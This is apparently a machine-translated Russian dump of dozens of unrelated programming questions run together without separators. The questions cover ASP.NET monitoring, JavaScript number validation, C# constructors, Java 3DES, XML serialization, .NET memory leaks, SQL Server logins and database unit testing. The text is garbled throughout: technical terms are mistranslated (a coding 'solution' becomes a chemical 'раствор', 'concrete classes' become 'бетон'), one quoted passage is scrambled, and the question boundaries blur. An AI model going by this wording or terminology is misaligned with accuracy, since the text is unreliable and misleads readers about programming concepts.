Есть ли какие-либо пакеты с открытым исходным кодом (или, я думаю, коммерческие), которые вы можете подключить к своему сайту для целей мониторинга? Я хотел бы что-то, что мы можем подключить к нашему сайту ASP.NET и использовать для предоставления отчетов о таких вещах, как:
- производительность с течением времени
- токовая нагрузка
- трафик страница
- SQL производительность
- PU контроль времени
В идеале в c# :)
С некоторыми сексуальными графиками.
Edit: я также был бы доволен пакетом, который я могу кормить статистикой и представлениями данных, и он будет анализировать тенденции, выявлять аномальное поведение (например, -за последний час никто не заходил в систему. это нормально?", "обнаружен высокий уровень трафика", "обнаружено низкое количество вызовов API") и, как правило, очень полезно. Существует ли такая вещь?
В моем последнем офисе у нас был большой экран, который показывал нам множество счетчиков производительности в течение нескольких временных диапазонов, и мы могли заметить странные вещи, происходящие, Но данные не хранились, и не было никакого способа сообщить об этом. Его пакет для этого, что я после этого.
Проверка десятичных чисел в JavaScript - IsNumeric()
Каков самый чистый и эффективный способ проверки десятичных чисел в JavaScript?
Бонусные баллы за:
- Ясность. Раствор должен быть чистым и простым.
- Межплатформенный.
Сценарии тестирования:
01. IsNumeric('-1') => true
02. IsNumeric('-1.5') => true
03. IsNumeric('0') => true
04. IsNumeric('0.42') => true
05. IsNumeric('.42') => true
06. IsNumeric('99,999') => false
07. IsNumeric('0x89f') => false
08. IsNumeric('#abcdef') => false
09. IsNumeric('1.2.3') => false
10. IsNumeric('') => false
11. IsNumeric('blah') => false
Изменение Круиза Control.NET
Мы исследуем использование CruiseControl.NET в качестве поставщика сборки непрерывной интеграции, а также автоматизируем первую часть нашего процесса deployment.
Кто-нибудь изменил панель мониторинга CruiseControl.NET's, чтобы добавить пользовательские роли входа и пользователя (IE, отдельный доступ к принудительной сборке только для определенных людей на основе каждого проекта?
Панель мониторинга-это приложение .NET, но я считаю, что он использует движок представления nVelocity вместо веб-форм, с которыми у меня нет опыта.
Можете ли вы смешать nVelocity и Webforms,или мне нужно потратить день на изучение чего-то нового =)
В C#, нужно ли вызывать базовый конструктор?
В C#,, если у меня есть унаследованный класс с конструктором по умолчанию, должен ли я явно вызывать конструктор базового класса или он будет вызван неявно?
class BaseClass
{
public BaseClass()
{
// ... some code
}
}
class MyClass : BaseClass
{
public MyClass() // Do I need to put ": base()" here or is it implied?
{
// ... some code
}
}
Лучший способ начать изучение дизайна веб-приложений
Я уже давно увлекаюсь программированием, интересуюсь разработкой веб-приложений. У меня есть изрядный личный опыт работы с различными не-веб-языками, но никогда по-настоящему не разветвлялся на веб-приложения.
Обычно у меня нет никаких проблем с изучением новых языков или технологий, поэтому я не беспокоюсь о том, с каким языком "best" или веб-стеком нужно работать. Вместо этого я хотел бы знать о любых рекомендуемых ресурсах (книгах, статьях, веб-сайтах, возможно, даже курсах колледжа), которые обсуждают дизайн веб-приложений: управление и оптимизация взаимодействия с сервером, проблемы безопасности, масштабируемость и другие темы, которые относятся к разработке, а не реализации.
Что бы вы порекомендовали разработчику автономного приложения, который хочет перейти на веб-разработку?
Проект Darkstar Реалистичен?
Проект Darkstar был темой ежемесячной встречи JavaSIG в офисах Google в NYC прошлой ночью. Для тех, кто не знает (вероятно, все), Project Darkstar-это платформа для многопользовательских онлайн-игр, которая пытается позаботиться обо всех "hard stuff." основная идея заключается в том, что вы пишете логику своего игрового сервера таким образом, что все операции разбиваются на крошечные задачи. Вы передаете эти задачи в Project Darkstar framework, который обрабатывает их распределение на определенный узел в кластере, любые проблемы параллелизма и, наконец, сохранение данных.
По-видимому, делать такие вещи-это совсем другая проблема для видеоигр, чем для корпоративных приложений. Джим Уолдо, который читал лекцию, утверждает, что MMO игры имеют отношение DB чтения/записи 50/50,, тогда как корпоративные приложения больше похожи на 90% чтения, 10% записи. Он также утверждает, что большинство существующих MMOs хранят все в памяти exlcusively, и только сбрасывают в DB каждые 6 часов so. Это означает, что если сервер выходит из строя, вы потеряете всю работу с момента последнего дампа DB.
Теперь, сам проект звучит действительно круто,но я не думаю, что индустрия примет его. Во-первых, вы должны написать свой код сервера в Java. Клиентский код может быть написан на чем угодно (Джим утверждает, что ActionScript 3 является самым популярным, а затем C++), но серверный материал должен быть Java. Звучит хорошо для меня, но у меня действительно создается впечатление, что все в игровой индустрии ненавидят Java.
Во-вторых, в отличие от других отраслей, где разработчики предпочитают использовать существующие фреймворки и библиотеки, ребята в игровой индустрии, похоже, любят писать все сами. Мало того, они любят переписывать все для каждой новой игры, которую они производят. Все начинает меняться, когда разработчики используют Havok для физики, Unreal Engine 3 в качестве своей платформы и т. д. но по большей части это выглядит так, как будто все еще является собственностью.
Итак, ребята из проекта Darkstar просто теряют свое время? Может ли общая структура, подобная этой, действительно работать для сложных игр с требуемой производительностью? Даже если это действительно работает, готовы ли игровые компании использовать его?
Какие-либо советы по получению Rails для запуска с доступом к бэк-энду?
Я содрогаюсь, чтобы спросить, но мой клиент не может предложить никакого другого решения SQL (или SQL-подобного). Я знаю, что доступ имеет некоторые крючки SQL; достаточно ли их для базового ActiveRecord?
Позже:
Я ценю все предложения использовать другие базы данных, но поверьте мне: я пытался убедить их. Существует список "approved", и в нем нет баз данных SQL. Включение чего-то в список может занять больше года, и этот проект будет завершен через три недели.
Как лучше всего анализировать аргументы командной строки?
Какой самый простой , лаконичный и гибкий метод или библиотека для разбора аргументов командной строки Python?
XML Serialization и унаследованные типы
Следуя из моего предыдущего вопроса , я работал над тем, чтобы моя объектная модель сериализовалась до XML. Но теперь я столкнулся с проблемой (quelle surprise!).
Проблема заключается в том, что у меня есть коллекция, которая имеет абстрактный базовый тип класса, который заполнен конкретными производными типами.
Я подумал, что было бы неплохо просто добавить атрибуты XML ко всем задействованным классам, и все будет замечательно. К сожалению, это не так!
Поэтому я немного покопался в Google и теперь понимаю, почему он не работает. В том, что XmlSerializer на самом деле делает некоторые умные размышления, чтобы сериализовать объекты в/из XML, и поскольку он основан на абстрактном типе, он не может понять, с чем, черт возьми, он говорит . Хорошо.
Я действительно наткнулся на эту страницу на CodeProject, которая выглядит так, как будто она может очень помочь (но все же читать/потреблять полностью), но я подумал, что хотел бы также перенести эту проблему в таблицу StackOverflow, чтобы посмотреть, есть ли у вас какие-либо аккуратные хаки/трюки, чтобы получить это и работать самым быстрым/легким способом.
Одно я должен также добавить, что я не хочу идти по маршруту XmlInclude . Там просто слишком много сцепления с ним, и эта область системы находится в тяжелом развитии, так что это будет настоящая головная боль обслуживания!
Разбитые изображения диаграмм в Crystal Reports в веб-приложении
У меня есть коллекция crystal reports, которая содержит диаграммы. Они отлично выглядят локально и при печати, но при просмотре их через веб-приложение с использованием CrystalReportViewer диаграммы отображаются как сломанные изображения.
Просмотр свойств разбитого изображения показывает url как ...CrystalImageHandler.aspx?dynamicimage=cr_tmp_image_8d12a01f-b336-4b8b-b0c7-83d9571d87e4.png .
Я пробовал добавлять
<httpHandlers>
<add verb="GET" path="CrystalImageHandler.aspx"
type="CrystalDecisions.Web.CrystalImageHandler,CrystalDecisions.Web,
Version=Version=10.5.3700.0, Culture=neutral,
PublicKeyToken=692fbea5521e1304"/>
</httpHandlers>
к web.config , как было предложено через поиск google, но это не решило мою проблему.
Как я могу использовать шифрование/расшифровку 3DES в Java?
Каждый метод, который я пишу для кодирования строки в Java с использованием 3DES, не может быть расшифрован обратно в исходную строку. Есть ли у кого-нибудь простой фрагмент кода, который может просто кодировать, а затем декодировать строку обратно в исходную строку?
Я знаю, что совершаю очень глупую ошибку где-то в этом коде. Вот с чем я работал до сих пор:
** обратите внимание, что я не возвращаю текст BASE64 из метода encrypt, и я не снимаю кодировку base64 в методе decrypt, потому что я пытался увидеть, не ошибся ли я в части BASE64 головоломки.
public class TripleDESTest {
public static void main(String[] args) {
String text = "kyle boon";
byte[] codedtext = new TripleDESTest().encrypt(text);
String decodedtext = new TripleDESTest().decrypt(codedtext);
System.out.println(codedtext);
System.out.println(decodedtext);
}
public byte[] encrypt(String message) {
try {
final MessageDigest md = MessageDigest.getInstance("md5");
final byte[] digestOfPassword = md.digest("HG58YZ3CR9".getBytes("utf-8"));
final byte[] keyBytes = Arrays.copyOf(digestOfPassword, 24);
for (int j = 0, k = 16; j < 8;)
{
keyBytes[k++] = keyBytes[j++];
}
final SecretKey key = new SecretKeySpec(keyBytes, "DESede");
final IvParameterSpec iv = new IvParameterSpec(new byte[8]);
final Cipher cipher = Cipher.getInstance("DESede/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, key, iv);
final byte[] plainTextBytes = message.getBytes("utf-8");
final byte[] cipherText = cipher.doFinal(plainTextBytes);
final String encodedCipherText = new sun.misc.BASE64Encoder().encode(cipherText);
return cipherText;
}
catch (java.security.InvalidAlgorithmParameterException e) { System.out.println("Invalid Algorithm"); }
catch (javax.crypto.NoSuchPaddingException e) { System.out.println("No Such Padding"); }
catch (java.security.NoSuchAlgorithmException e) { System.out.println("No Such Algorithm"); }
catch (java.security.InvalidKeyException e) { System.out.println("Invalid Key"); }
catch (BadPaddingException e) { System.out.println("Invalid Key");}
catch (IllegalBlockSizeException e) { System.out.println("Invalid Key");}
catch (UnsupportedEncodingException e) { System.out.println("Invalid Key");}
return null;
}
public String decrypt(byte[] message) {
try
{
final MessageDigest md = MessageDigest.getInstance("md5");
final byte[] digestOfPassword = md.digest("HG58YZ3CR9".getBytes("utf-8"));
final byte[] keyBytes = Arrays.copyOf(digestOfPassword, 24);
for (int j = 0, k = 16; j < 8;)
{
keyBytes[k++] = keyBytes[j++];
}
final SecretKey key = new SecretKeySpec(keyBytes, "DESede");
final IvParameterSpec iv = new IvParameterSpec(new byte[8]);
final Cipher decipher = Cipher.getInstance("DESede/CBC/PKCS5Padding");
decipher.init(Cipher.DECRYPT_MODE, key, iv);
//final byte[] encData = new sun.misc.BASE64Decoder().decodeBuffer(message);
final byte[] plainText = decipher.doFinal(message);
return plainText.toString();
}
catch (java.security.InvalidAlgorithmParameterException e) { System.out.println("Invalid Algorithm"); }
catch (javax.crypto.NoSuchPaddingException e) { System.out.println("No Such Padding"); }
catch (java.security.NoSuchAlgorithmException e) { System.out.println("No Such Algorithm"); }
catch (java.security.InvalidKeyException e) { System.out.println("Invalid Key"); }
catch (BadPaddingException e) { System.out.println("Invalid Key");}
catch (IllegalBlockSizeException e) { System.out.println("Invalid Key");}
catch (UnsupportedEncodingException e) { System.out.println("Invalid Key");}
catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
}
Связывание ключевых слов источника и поиска с созданием учетной записи
В рамках процесса регистрации для моего онлайн-приложения я думаю о отслеживании источника и / или ключевых слов поиска, используемых для доступа к моему сайту. Это позволит мне увидеть, что реклама работает и откуда с несколько более тонким зерном, чем Google Analytics.
Я предполагаю, что могу установить какой-то файл cookie с этой информацией, когда люди попадают на мой сайт, но я не уверен, как я буду его получать. Это вообще возможно?
Я использую Rails, но независимое от языка решение (или даже просто указатели на то, где найти эту информацию) будет оценено!
Как я могу регистрировать необнаруженные исключения в PHP?
Я выяснил, как преобразовать ошибки в исключения, и я хорошо отображаю их, если они не пойманы, но я не знаю, как их правильно регистрировать. Просто записать их в файл не будет полезно, не так ли? И вы бы рискнули получить доступ к базе данных, когда вы еще не знаете, что вызвало исключение?
Утечек памяти .NET
Назовите все возможные способы, с помощью которых мы можем получить утечку памяти .NET?
Я знаю о двух из них:
- Неправильно не регистрируются обработчики/делегаты событий .
- Отказ от использования динамических дочерних элементов управления в формах Windows:
Пример:
// Causes Leaks
Label label = new Label();
this.Controls.Add(label);
this.Controls.Remove(label);
// Correct Code
Label label = new Label();
this.Controls.Add(label);
this.Controls.Remove(label);
label.Dispose();
Обновление: идея состоит в том, чтобы перечислить общие подводные камни, которые не слишком очевидны (например, выше). Обычно считается, что утечки памяти не являются большой проблемой из-за сборщика мусора. Не так, как это было раньше в C++.
Отличная дискуссия, ребята, но позвольте мне уточнить... по определению, если в .NET не осталось ссылки на объект, он будет в какой-то момент собран как мусор. Так что это не способ вызвать утечку памяти.
В управляемой среде я бы счел это утечкой памяти, если бы у вас была непреднамеренная ссылка на какой-либо объект, о котором вы не знаете (отсюда два примера в моем вопросе).
Итак, каковы различные возможные способы, которыми может произойти такая утечка памяти?
Как вы тестируете веб-приложения, размещенные удаленно?
Я знаком с TDD и использую его как на своем рабочем месте, так и в домашних веб-приложениях. Однако каждый раз, когда я использовал TDD в веб-приложении, у меня была роскошь иметь полный доступ к веб-серверу. Это означает, что я могу обновить сервер, а затем запустить модульные тесты непосредственно с сервера. Мой вопрос: если вы используете сторонний веб-хост, как вы запускаете свои модульные тесты на них?
Вы можете возразить, что если ваше приложение хорошо спроектировано, а процесс сборки надежен и автоматизирован, то запуск модульных тестов на вашем производственном сервере не требуется, но лично мне нравится спокойствие, зная, что все по-прежнему "green" после крупного обновления.
Для всех, кто ответил с "just test before you deploy" и "разве у вас нет промежуточного сервера?- Я понимаю, к чему ты клонишь. У меня есть промежуточный сервер и настроенный процесс CI. Мои модульные тесты выполняются, и я убеждаюсь, что все они проходят перед обновлением до производства.
Я понимаю, что в идеальном мире меня бы это не волновало. Но я уже видел, как это происходит. Если файл не включен в обновление или сценарий SQL не запущен, то при выполнении модульных тестов эффекты сразу же проявляются, но могут оставаться незамеченными в течение некоторого времени без них.
Я спрашиваю здесь, есть ли какой-либо способ, хотя бы для удовлетворения моих собственных навязчивых желаний, запустить модульный тест на сервере, на котором я не могу устанавливать приложения или удаленно (например, тот, к которому у меня будет только доступ FTP для обновления файлов)?
Определить, если мой PC поддерживает виртуализацию аппаратного обеспечения
Как вообще можно определить, поддерживает ли a PC аппаратную виртуализацию? Я использую VirtualPC для настройки параллельных тестовых сред, и мне бы понравилось немного скорости boost.
Каков наилучший способ создания развертываний ClickOnce
Наша команда разрабатывает распределенные приложения winform. Мы используем ClickOnce для deployment и очень довольны этим.
Однако мы обнаружили, что болевая точка с ClickOnce заключается в создании развертываний. У нас есть стандартные среды dev/test/production, и мы должны иметь возможность создавать развертывания для каждого из них, которые устанавливают и обновляют отдельно друг от друга. Кроме того, мы хотим контролировать, какие сборки будут развернуты. Просто потому, что assembly был скомпилирован, не означает, что мы хотим его развернуть.
Очевидным первым выбором для создания развертываний является Visual Studio. Однако VS действительно не решает заявленные проблемы. Следующий на очереди-инструмент SDK, маг. Маг работает OK, но создание развертываний довольно утомительно, и мы не хотим, чтобы каждый разработчик имел наш сертификат подписи кода и пароль.
В итоге мы запустили наше собственное приложение deployment, которое использует версию командной строки Mage для создания файлов манифеста ClickOnce.
Я доволен нашим текущим решением, но похоже, что будет общепромышленный, принятый подход к этой проблеме. Есть?
Как удалить недопустимые шестнадцатеричные символы из источника данных на основе XML до построения XmlReader или XPathDocument, использующего эти данные?
Существует ли какой-либо простой/общий способ очистить источник данных на основе XML перед использованием его в XmlReader, чтобы я мог изящно использовать данные XML, которые не соответствуют шестнадцатеричным ограничениям символов, установленным на XML?
Примечание:
- Решение должно обрабатывать XML источники данных, использующие символы кодировки, отличные от UTF-8, например: указание кодировки символов на декларация документа XML. Нет искажение кодировки символов источник при зачистке недопустим шестнадцатеричные символы были а главное препятствие.
- Удаление недопустимых шестнадцатеричных символов должно удалять только шестнадцатеричные кодированные значения, так как часто можно найти значения href в данных, которые содержат строку, которая будет соответствовать строке шестнадцатеричного символа.
Фон:
Мне нужно использовать источник данных на основе XML, который соответствует определенному формату (например, Atom или каналы RSS), но я хочу иметь возможность использовать источники данных, которые были опубликованы и содержат недопустимые шестнадцатеричные символы в спецификации XML.
В .NET, если у вас есть поток, представляющий источник данных XML, а затем попытаться проанализировать его с помощью XmlReader и/или XPathDocument, возникает исключение из-за включения недопустимых шестнадцатеричных символов в данные XML. Моя текущая попытка решить эту проблему состоит в том, чтобы проанализировать поток как строку и использовать регулярное выражение для удаления и/или замены недопустимых шестнадцатеричных символов, но я ищу более эффективное решение.
Как вы преобразуете двоичные данные в строки и обратно в Java?
У меня есть двоичные данные в файле, которые я могу считывать в массив байтов и обрабатывать без проблем. Теперь мне нужно отправить части данных по сетевому соединению в виде элементов в документе XML. Моя проблема заключается в том, что когда я преобразую данные из массива байтов в строку и обратно в массив байтов, данные повреждаются. Я проверил это на одной машине, чтобы изолировать проблему с преобразованием строки, поэтому теперь я знаю, что она не повреждается парсером XML или сетевым транспортом.
Вот что у меня сейчас есть
byte[] buffer = ...; // read from file
// a few lines that prove I can process the data successfully
String element = new String(buffer);
byte[] newBuffer = element.getBytes();
// a few lines that try to process newBuffer and fail because it is not the same data anymore
Кто-нибудь знает, как конвертировать двоичный код в строку и обратно без потери данных?
Ответил: Спасибо, Сэм. Я чувствую себя полным идиотом. Я получил этот ответ вчера, потому что мой парсер SAX жаловался. По какой-то причине, когда я столкнулся с этой, казалось бы, отдельной проблемой, мне не пришло в голову, что это был новый симптом той же самой проблемы.
EDIT: просто для полноты картины я использовал класс Base64 из пакета кодека Apache Commons Для решения этой проблемы.
Вызов веб-метода интерфейса Project Server из установщика msi
Я использую проект установки Visual Studio web для установки приложения, которое расширяет функциональные возможности Project Server. Я хочу вызвать метод из PSI (интерфейс Project Server) из одного из пользовательских действий моего проекта установки, но каждый раз получаю ошибку "401 Unauthorized access". Что я должен сделать, чтобы получить доступ к PSI? Тот же код, при использовании из консольного приложения, работает без каких-либо проблем.
Найти символические ссылки с Python
Если я вызываю os.stat() на сломанном symlink, python создает исключение OSError . Это делает его полезным для поиска их. Однако есть несколько других причин, по которым os.stat() может вызвать подобное исключение. Есть ли более точный способ обнаружения сломанной symlinks с Python под Linux?
Автоматизированное Тестирование Веб-Сервисов
Я хотел бы сделать некоторое интеграционное тестирование веб-службы из NUnit или MBUnit. Я еще не углублялся в это слишком глубоко, но я почти уверен, что мне нужно будет раскрутить WebDev.WebServer.exe внутри "unit test", чтобы сделать это. (Я знаю, что это не совсем юнит-тест).
Да, я могу тестировать базовые объекты, которые использует веб-служба, самостоятельно (что я и делаю), но в этом случае мне интересно проверить, что прокси-серверы работают и обрабатываются должным образом и т. д.
Какой-нибудь совет?
VBScript/IIS - как автоматически установить версию ASP.NET для конкретного веб-сайта
Мне нужно написать сценарий создания пулов приложений и веб-сайтов на IIS 6.0. Я смог создать их с помощью adsutil.vbs и iisweb.vbs, но не знаю, как установить версию ASP.NET для сайтов, которые я только что создал, в 2.0.50727.0.
В идеале я хотел бы adsutil.vbs обновить метабазу. Как мне это сделать?
обновление auto_now DateTimeField в родительской модели w/ Django
У меня есть две модели: сообщение и вложение. Каждое вложение прикрепляется к определенному сообщению, используя ForeignKey в модели вложения. Обе модели имеют auto_now DateTimeField под названием updated. Я пытаюсь сделать так, чтобы при сохранении любого вложения оно также устанавливало обновленное поле в связанном сообщении на now. Вот мой код:
def save(self):
super(Attachment, self).save()
self.message.updated = self.updated
Будет ли это работать, и если вы можете объяснить мне, почему? Если нет, то как я должен это сделать?
Есть ли способ получить экземпляр System.Configuration.Configuration на основе произвольного xml?
Я пытаюсь выполнить модульный тест пользовательского ConfigurationSection, который я написал, и я хотел бы загрузить некоторую произвольную конфигурацию XML в System.Configuration.Configuration для каждого теста (вместо того, чтобы помещать тестовую конфигурацию xml в файл Tests.dll.config. То есть, я хотел бы сделать что-то вроде этого:
Configuration testConfig = new Configuration("<?xml version=\"1.0\"?><configuration>...</configuration>");
MyCustomConfigSection section = testConfig.GetSection("mycustomconfigsection");
Assert.That(section != null);
Однако, похоже , что ConfigurationManager даст вам только экземпляры конфигурации, связанные с файлом EXE или конфигурацией машины. Есть ли способ загрузить произвольный XML в экземпляр конфигурации?
Хранение сведений о пользователе, вошедшем в систему
При создании веб-приложения, и допустим, у вас есть объект пользователя, обозначающий одного пользователя, как вы думаете, это лучший способ сохранить, что пользователь вошел в систему?
Два способа, о которых я думал, были:
- Сохраненный идентификатор базы данных Пользователя в переменной сеанса
- Сохраненный весь объект пользователя в переменной сеанса
Любые лучшие предложения, любые проблемы с использованием вышеуказанных способов? Возможно, проблемы безопасности или проблемы с памятью и т. д.
Не удается добавить имя Входа сервера Sql
Когда я пытаюсь создать логин сервера SQL, говоря:
CREATE LOGIN [ourdomain\SQLAccessGroup] FROM WINDOWS;
Я получаю эту ошибку
Принципал сервера " ourdomain\SQLAccessGroup " уже существует.
Однако, когда я попробую этот код
DROP LOGIN [ourdomain\SQLAccessGroup]
Я получаю эту ошибку
Невозможно удалить имя Входа 'ourdomain\SQLAccessGroup', так как оно не существует или у вас нет разрешения.
Пользователь, который я выполняю этот код как sysadmin. Кроме того, пользователь ourdomain\SQLAccessGroup не отображается в этом запросе
select * from sys.server_principals
У кого-нибудь есть какие-нибудь идеи?
Инструменты FOSS для разработки Flash
Я изучаю некоторые разработки для Flash. Нужно ли мне покупать дорогие коммерческие инструменты или есть какие-то инструменты FOSS, с которыми я могу начать работу? Очевидно, что есть много инструментов там, но они достаточно хороши, чтобы на самом деле получить работу? Что бы я пропустил, избегая коммерческих или официальных инструментов?
Visual Web Developer (Express): настройка корня документа для среды разработки
Я разрабатываю сайт в Visual Web Dev Express, и когда я run/debug,, я хотел бы иметь возможность установить корень документа моего приложения, чтобы я мог использовать более безопасные пути, такие как "/css/style.css "вместо"css/style.css". Как мне это сделать?
Страница общей коллекции без Linq
У меня есть объект типа System.Generic.Collections.List(Of MyCustomClass).
Учитывая целочисленные varaibles pagesize и pagenumber, как я могу собрать только одну страницу объектов MyCustomClass ?
Вот что у меня есть. Как я могу улучшить его?
'my given collection and paging parameters
Dim AllOfMyCustomClassObjects As System.Collections.Generic.List(Of MyCustomClass) = GIVEN
Dim pagesize As Integer = GIVEN
Dim pagenumber As Integer = GIVEN
'collect current page objects
Dim PageObjects As New System.Collections.Generic.List(Of MyCustomClass)
Dim objcount As Integer = 1
For Each obj As MyCustomClass In AllOfMyCustomClassObjects
If objcount > pagesize * (pagenumber - 1) And count <= pagesize * pagenumber Then
PageObjects.Add(obj)
End If
objcount = objcount + 1
Next
'find total page count
Dim totalpages As Integer = CInt(Math.Floor(objcount / pagesize))
If objcount Mod pagesize > 0 Then
totalpages = totalpages + 1
End If
Как создать таблицу сопоставления в среде SQL Server Management Studio?
Я изучаю дизайн таблиц в SQL, и мне интересно, как создать таблицу сопоставления, чтобы установить связь many-to-many между двумя другими таблицами?
Я думаю, что таблица сопоставления нуждается в двух первичных ключах - но я не вижу, как создать это, поскольку кажется, что может быть только 1 столбец первичного ключа?
Я использую функцию диаграмм баз данных для создания своих таблиц и связей.
Какие фреймворки внедрения зависимостей .NET стоит изучить?
Какие фреймворки внедрения зависимостей C#/.NET стоит изучить? А что уж говорить об их сложности и скорости.
В C++ конструктор и деструктор могут быть встроенными функциями?
VC++ делает функции, которые реализуются в рамках объявления класса встроенными функциями.
Если я объявляю класс Foo следующим образом, то являются ли CONSTRUCTOR и DESTRUCTOR встроенными функциями?
class Foo
{
int* p;
public:
Foo() { p = new char[0x00100000]; }
~Foo() { delete [] p; }
};
{
Foo f;
(f);
}
Как решить семантические проблемы с веб-сайтами на основе тегов
Веб-сайты на основе тегов часто страдают от деликатности языка, такого как синонимы, омонимы и т. д. Для программистов, ищущих информацию, скажем, о переполнении стека, конкретными примерами являются:
- Subversion или SVN (или svn, с чувствительными к регистру тегами) .
- NET или Mono
- [Добавит еще]
Проблема в том, что мы хотим сохранить нашу деликатность языка и заставить машину работать с ним как можно лучше.
Сайт, подобный del.icio.us, видит, что его база тегов сильно растет, что, вероятно, препятствует использованию или поиску. Поиск записей, связанных с SVN, вероятно, перечислит большинство записей с тегами subversion и svn, но я могу думать о трех проблемах:
- Поиск является неполным, так как многие записи могут не иметь обоих тегов (которые являются 'synonyms').
- Поиск менее полезен, так как Q / A часто приводит к большему количеству Qs! Особенно для новичков по данной теме.
- Пометка вопроса (Примечание: или ответ отдельно, звучит полезно) становится философской: "правильно ли я пометил?'
Одним из способов решения этих проблем является создание семантических связей между тегами, чтобы subversion и SVN автоматически связывались системой, а не плохими пользователями.
Это подход, который звучит good/feasible/attractive/useful? Как реализовать его эффективно?
Поддерживает ли Hostmonster Django
Я знаю, что hostmonster позволяет Python. Кто-нибудь успешно запустил Django там? Есть проблемы?
Базы Данных Модульного Тестирования
Этим летом я разрабатывал базовое приложение ASP.NET/SQL Server CRUD, и модульное тестирование было одним из требований. Я столкнулся с некоторыми неприятностями, когда пытался протестировать их с помощью базы данных. Насколько я понимаю, модульные тесты должны быть:
- не имеющий гражданства
- независимые друг от друга
- повторяемость с теми же результатами т. е. отсутствие постоянных изменений
Эти требования, по-видимому, противоречат друг другу при разработке базы данных. Например, я не могу проверить Insert(), не убедившись, что вставляемые строки еще не существуют, поэтому мне нужно сначала вызвать Delete(). Но что, если их там еще нет? Тогда мне нужно было бы сначала вызвать функцию Exists().
Мое окончательное решение включало очень большие функции настройки (фу!) и пустой тестовый случай, который будет запущен первым и укажет, что установка выполнена без проблем. Это принесение в жертву независимости испытуемых при сохранении их безгражданства.
Другое решение, которое я нашел, заключается в том, чтобы обернуть вызовы функций в транзакцию, которая может быть легко откатана, как у Роя Ошерова XtUnit . Это работа, но она включает в себя другую библиотеку, другую зависимость, и это кажется немного слишком тяжелым решением для данной проблемы.
Итак, что же сделало сообщество SO, столкнувшись с этой ситуацией?
tgmdbm сказал:
Вы обычно используете свой любимый автоматизированная система модульного тестирования для выполните интеграционные тесты, которые являются почему некоторые люди путаются, но они не следуйте тем же правилам. Вы разрешено вовлекать бетон реализация многих ваших классов (потому что они прошли юнит-тестирование). Вы испытываете, как ваш бетон классы взаимодействуют друг с другом и вместе с базой данных .
Так что, если я правильно прочитал это, на самом деле нет никакого способа эффективно провести модульное тестирование уровня доступа к данным. Или же "unit test" уровня доступа к данным будет включать тестирование, скажем, команд SQL/, генерируемых классами, независимо от фактического взаимодействия с базой данных?
Можно ли совместно использовать транзакцию между приложением .Net и объектом COM+?
Некоторое время назад я провел несколько тестов и так и не понял, как это сделать.
Ингредиент:
- COM + транзакционный объект (разработан в VB6)
- .Net веб-приложение (с транзакцией) в IIS что...
выполняет вызов компонента COM+
обновление строки в базе данных SQL
Тестирование :
Запустите приложение .Net и принудительно создайте исключение.
Результат :
Обновление, выполненное из приложения .Net, откатывается назад.
Обновление, выполненное объектом COM+, не откатывается.
Если я вызываю объект COM+ со старой страницы ASP, откат срабатывает.
Я знаю, что некоторые люди могут думать: "что?! COM+ и .Net вы, должно быть, сошли с ума!", но есть некоторые места в этом мире, где все еще есть много компонентов COM+. Мне просто было любопытно, сталкивался ли кто-нибудь с этим и выяснил ли ты, как это сделать.
Adobe AIR: обработка объектов JSON с сервера
У меня есть скрипт, который извлекает объекты с удаленного сервера через вызов Ajax. Сервер возвращает объекты в нотации JSON.
Однако, в Adobe AIR, существует ограничение на использование eval() по соображениям безопасности. Поэтому я могу получать ответы с удаленного сервера, но не могу превратить их обратно в объекты JavaScript. Есть ли обходной путь для этой проблемы? Я хотел бы использовать JSON для моих JavaScript объектов, так как он может быть использован почти сразу.
Примечание: Я понимаю последствия безопасности для форсирования проблемы, но я буду делать быструю разработку приложений для конкуренции, поэтому программа будет только быстрым прототипом и не будет использоваться для производственных целей. Тем не менее, было бы здорово, если бы была лучшая альтернатива тому, что я пытаюсь сделать сейчас
Обновление:
Спасибо Тео и jsight за их ответы;
Одна важная вещь, которую я узнал сегодня, заключается в том, что я действительно могу использовать библиотеки ActionScript, используя
<script src="lib/myClasses.swf" type="application/x-shockwave-flash"></script>тег расширен на Adobe AIR. Проверьте ссылку Тео для получения более подробной информации!
Пишете ли вы исключения для конкретных вопросов или общие исключения?
У меня есть код, который дает идентификатор пользователя утилите, которая затем отправляет email этому пользователю.
emailUtil.sendEmail(userId, "foo");
public void sendEmail(String userId, String message) throws MailException {
/* ... logic that could throw a MailException */
}
MailException может быть брошен по ряду причин, проблем с адресом email, проблем с шаблоном почты и т.д.
Мой вопрос заключается в следующем: вы создаете новый тип исключения для каждого из этих исключений, а затем обрабатываете их по отдельности или создаете один MailException, а затем сохраняете что-то в исключении (что-то машиночитаемое, а не текст описания), что позволяет нам делать разные вещи на основе того, что на самом деле произошло.
Edit: как уточнение, исключения не предназначены для журналов, а что-нет, это относится к тому, как код реагирует на них. Чтобы продолжить работу с примером mail, предположим, что когда мы отправляем почту, она может потерпеть неудачу, потому что у вас нет адреса email, или потому что у вас нет действительного адреса email, или она может потерпеть неудачу.. и т.д.
Мой код хотел бы реагировать по-разному на каждую из этих проблем (в основном путем изменения сообщения, возвращенного клиенту, но и фактической логики).
Было бы лучше иметь реализацию исключения для каждой из этих проблем или одно зонтичное исключение, которое имело бы что-то внутреннее (например, перечисление), что позволило бы коду различать, какая проблема была.
Как вы передаете сообщения/ошибки уровня обслуживания на более высокие уровни с помощью MVP?
В настоящее время я пишу приложение ASP.Net от UI вниз. Я внедряю архитектуру MVP, потому что я устал от Winforms и хотел чего-то, что имело лучшее разделение проблем.
Таким образом, с MVP презентатор обрабатывает события, вызванные представлением. Вот некоторый код, который у меня есть, чтобы иметь дело с созданием пользователей:
public class CreateMemberPresenter
{
private ICreateMemberView view;
private IMemberTasks tasks;
public CreateMemberPresenter(ICreateMemberView view)
: this(view, new StubMemberTasks())
{
}
public CreateMemberPresenter(ICreateMemberView view, IMemberTasks tasks)
{
this.view = view;
this.tasks = tasks;
HookupEventHandlersTo(view);
}
private void HookupEventHandlersTo(ICreateMemberView view)
{
view.CreateMember += delegate { CreateMember(); };
}
private void CreateMember()
{
if (!view.IsValid)
return;
try
{
int newUserId;
tasks.CreateMember(view.NewMember, out newUserId);
view.NewUserCode = newUserId;
view.Notify(new NotificationDTO() { Type = NotificationType.Success });
}
catch(Exception e)
{
this.LogA().Message(string.Format("Error Creating User: {0}", e.Message));
view.Notify(new NotificationDTO() { Type = NotificationType.Failure, Message = "There was an error creating a new member" });
}
}
}
